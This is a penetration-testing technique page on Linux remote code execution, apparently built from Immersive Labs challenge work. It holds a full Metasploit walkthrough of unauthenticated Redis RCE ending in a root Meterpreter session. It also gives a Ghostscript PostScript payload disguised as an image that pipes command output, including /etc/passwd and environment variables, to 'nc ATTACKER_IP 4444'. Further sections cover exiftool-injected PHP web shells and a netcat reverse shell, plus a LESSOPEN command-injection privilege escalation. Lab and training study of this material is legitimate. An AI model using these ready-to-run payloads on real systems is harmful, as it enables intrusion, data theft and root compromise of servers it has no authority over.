Skip to content

Remote Code Execution (RCE) — Linux

Table of Contents


Overview

Techniques for achieving remote code execution on Linux systems through vulnerable services and file processing pipelines. These are distinct from web application RCE (see ../../../web/rce/) in that they target network services or server-side processing components rather than HTTP endpoints directly.

Techniques


Redis Unauthenticated RCE (Metasploit)

Redis is an in-memory key-value store that runs on port 6379 by default. Older versions (≤ 4.0.x) with no authentication configured are vulnerable to unauthenticated RCE via the replication mechanism — an attacker can act as a rogue Redis master and push a malicious module to the target.

The Metasploit module exploit/linux/redis/redis_replication_cmd_exec (formerly redis_unauth_exec) automates this.

Note

The module name was changed in recent versions of Metasploit. If you load redis_unauth_exec you will be transparently redirected to redis_replication_cmd_exec.

Required Options

Option Description
RHOSTS Target IP address
LHOST Your local IP address (reverse shell callback)
SRVHOST Your local IP address (rogue Redis master listener) — must not be 0.0.0.0

Note

LHOST and SRVHOST must both be set explicitly to your local IP. Leaving SRVHOST as 0.0.0.0 will cause the exploit to fail.

Usage

sudo msfconsole

msf6 > use exploit/linux/redis/redis_unauth_exec

msf6 exploit> set RHOSTS TARGET_IP
msf6 exploit> set LHOST ATTACKER_IP
msf6 exploit> set SRVHOST ATTACKER_IP
msf6 exploit> exploit

Post-Exploitation

Once a Meterpreter session opens:

meterpreter > getuid           # confirm running as root
meterpreter > shell            # drop to a system shell
meterpreter > cat /root/token.txt

Cleanup

The module leaves a .so file on the target (e.g., ./rzbff.so). Remove it after the session:

meterpreter > rm /path/to/rzbff.so

Full Example

Challenge

What is the root token found in /root/token.txt on Target 1?

  • Local Host IP address is 10.102.62.75.
  • Target 1 IP address is 10.102.52.235.

Service Discovery

Run nmap to find out any ports or services available:

$ sudo nmap -sS -sV -p- 10.102.52.235
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-10 21:58 UTC
Nmap scan report for ip-10-102-52-235.eu-west-1.compute.internal (10.102.52.235)
Host is up (0.000017s latency).
Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 4.0.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.01 seconds

Looks like redis is running on port 6379 and it is version 4.0.1, which has a known vulnerability that can be exploited.

Exploit Vulnerability

Let's try metasploit since there is a module available for it: exploit/linux/redis/redis_replication_cmd_exec

$ sudo msfconsole
         .                                         .
 .

      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o
       '   dB'                     BBP
    dB'dB'dB' dBBP     dBP     dBP BB
   dB'dB'dB' dBP      dBP     dBP  BB
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB

                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP
          .                  .                  dB' dBP    dB'.BP
                             |       dBP    dBBBB' dBP    dB'.BP dBP    dBP
                           --o--    dBP    dBP    dBP    dB'.BP dBP    dBP
                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP

                                                                    .
                .
        o                  To boldly go where no
                            shell has gone before


       =[ metasploit v6.2.30-dev                          ]
+ -- --=[ 2272 exploits - 1191 auxiliary - 404 post       ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Adapter names can be used for IP params 
set LHOST eth0
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/linux/redis/redis_unauth_exec
[*] Using configured payload linux/x64/meterpreter/reverse_tcp

[!] *            The module exploit/linux/redis/redis_unauth_exec has been moved!            *
[!] *              You are using exploit/linux/redis/redis_replication_cmd_exec              *
msf6 exploit(linux/redis/redis_unauth_exec) > exploit

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS
msf6 exploit(linux/redis/redis_unauth_exec) > set RHOSTS 10.102.52.235
RHOSTS => 10.102.52.235
msf6 exploit(linux/redis/redis_unauth_exec) > exploit

[-] 10.102.52.235:6379    - Msf::OptionValidateError The following options failed to validate: LHOST
[*] Exploit completed, but no session was created.
msf6 exploit(linux/redis/redis_unauth_exec) > set LHOST 10.102.62.75
LHOST => 10.102.62.75
msf6 exploit(linux/redis/redis_unauth_exec) > exploit

[*] Started reverse TCP handler on 10.102.62.75:4444 
[-] 10.102.52.235:6379    - Exploit failed: Msf::Auxiliary::Scanner::AttemptFailed bad-config: Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/redis/redis_unauth_exec) > set SRVHOST 10.102.62.75
SRVHOST => 10.102.62.75
msf6 exploit(linux/redis/redis_unauth_exec) > exploit

[*] Started reverse TCP handler on 10.102.62.75:4444 
[*] 10.102.52.235:6379    - Compile redis module extension file
[+] 10.102.52.235:6379    - Payload generated successfully! 
[*] 10.102.52.235:6379    - Listening on 10.102.62.75:6379
[*] 10.102.52.235:6379    - Rogue server close...
[*] 10.102.52.235:6379    - Sending command to trigger payload.
[*] Sending stage (3045348 bytes) to 10.102.52.235
[*] Meterpreter session 1 opened (10.102.62.75:4444 -> 10.102.52.235:49444) at 2025-02-10 23:26:07 +0000
[!] 10.102.52.235:6379    - This exploit may require manual cleanup of './rzbff.so' on the target

Get Token Details

meterpreter > getuid
Server username: root
meterpreter > cat /root/token.txt
cc808c
meterpreter > 

Answer

The root token is cc808c.


Ghostscript RCE via Malicious Image Upload

Applications that process uploaded images using Ghostscript ≤ 9.23 are vulnerable to RCE. Ghostscript interprets PostScript (PS) files and if a malicious PS payload is disguised as an image and processed, it executes arbitrary commands on the server.

This technique was demonstrated in Mirrored Mayhem (Immersive Labs: Haunted Hollow, Lab 9), where uploaded images were processed with Ghostscript when the ?mirror=1 parameter was active.

Identify the Vulnerability

Use exiftool on a processed output file to check the Ghostscript version:

exiftool souvenir.png | grep -i ghost
# → Version: Ghostscript v9.23 (2018-03-21)

Versions ≤ 9.23 are vulnerable to CVE-2018-16509 and CVE-2018-19475.

Craft a Malicious PostScript Payload

Create a file with a .png or .jpg extension containing PostScript code. The (%pipe%<command>) construct pipes command output to a destination. In this case, to a Netcat listener on the attack host.

cat > rce.png << 'EOF'
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%<COMMAND> | nc ATTACKER_IP 4444) (w) file
EOF

Replace <COMMAND> with the command to run on the server, for example:

# List files
(%pipe%ls -asl /opt/app | nc ATTACKER_IP 4444) (w) file

# Read a file
(%pipe%cat /etc/passwd | nc ATTACKER_IP 4444) (w) file

# Read environment variables
(%pipe%env | nc ATTACKER_IP 4444) (w) file

# List all files under a directory
(%pipe%find /opt/app -ls | nc ATTACKER_IP 4444) (w) file

Set Up a Listener

nc -lvnp 4444

Trigger Execution

Upload the file with the malicious payload to the vulnerable application and trigger the image processing. The server will execute the embedded command and pipe the output back to your listener.

Alternative — PHP Code Injection via exiftool

If the application processes image metadata and executes PHP (e.g., a PHP-based image handler), inject a PHP payload into the image metadata instead:

# Inject into Comment field
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.png

# Inject a reverse shell
exiftool -Comment='<?php system("nc ATTACKER_IP 4444 -e /bin/bash"); ?>' image.png

Rename the file to bypass extension filters (e.g., image.php.jpeg) and upload. If the server executes it:

# Trigger via browser or curl
curl "http://TARGET/uploads/image.php.jpeg?cmd=id"

Set up a listener before uploading for a reverse shell:

nc -lvnp 4444

LESSOPEN Environment Variable Injection

If a SUID binary wraps less (or directly calls it), and the LESSOPEN environment variable is set, it may be possible to inject arbitrary commands via CVE-2024-32487.

LESSOPEN is a preprocessor command that less invokes before displaying a file. By setting it to a command that reads a protected file and creating a filename with a newline character, the payload is injected into the preprocessor invocation.

This was demonstrated in Mirrored Mayhem (Immersive Labs: Haunted Hollow, Lab 9), where a custom SUID binary mm wrapped less.

Prerequisites

  • A SUID binary that invokes less (check with strings BINARY | grep less)
  • LESSOPEN is set or can be set in the environment
  • less version is 551 or earlier (vulnerable to CVE-2024-32487)

Check Prerequisites

# Find SUID binaries that reference less
find / -perm -4000 -type f 2>/dev/null | xargs strings 2>/dev/null | grep -i less

# Check less version
less --version

# Check if LESSOPEN is set
env | grep LESS

Exploit

# Step 1 — Create a file with a newline in its name to cause command injection
touch $'file\nstuff.txt'

# Step 2 — Set LESSOPEN to the command you want to run as root
# The %s is replaced by the filename
export LESSOPEN="| mm /root/root-token.txt %s"

# Step 3 — Open the crafted file with less (or the SUID binary that wraps it)
less $'file\nstuff.txt'

The output of mm /root/root-token.txt (running as root via the SUID binary) will appear in the terminal.

Note

If the output is not displayed immediately, then pipe the output to a listener or redirect to a world-writable file:

export LESSOPEN="| cat /root/root-token.txt > /tmp/output %s"
less $'file\nstuff.txt'
cat /tmp/output


References

Challenges

Source Name
Immersive Labs: Haunted Hollow Lab 9 - Mirrored Mayhem

Web Sites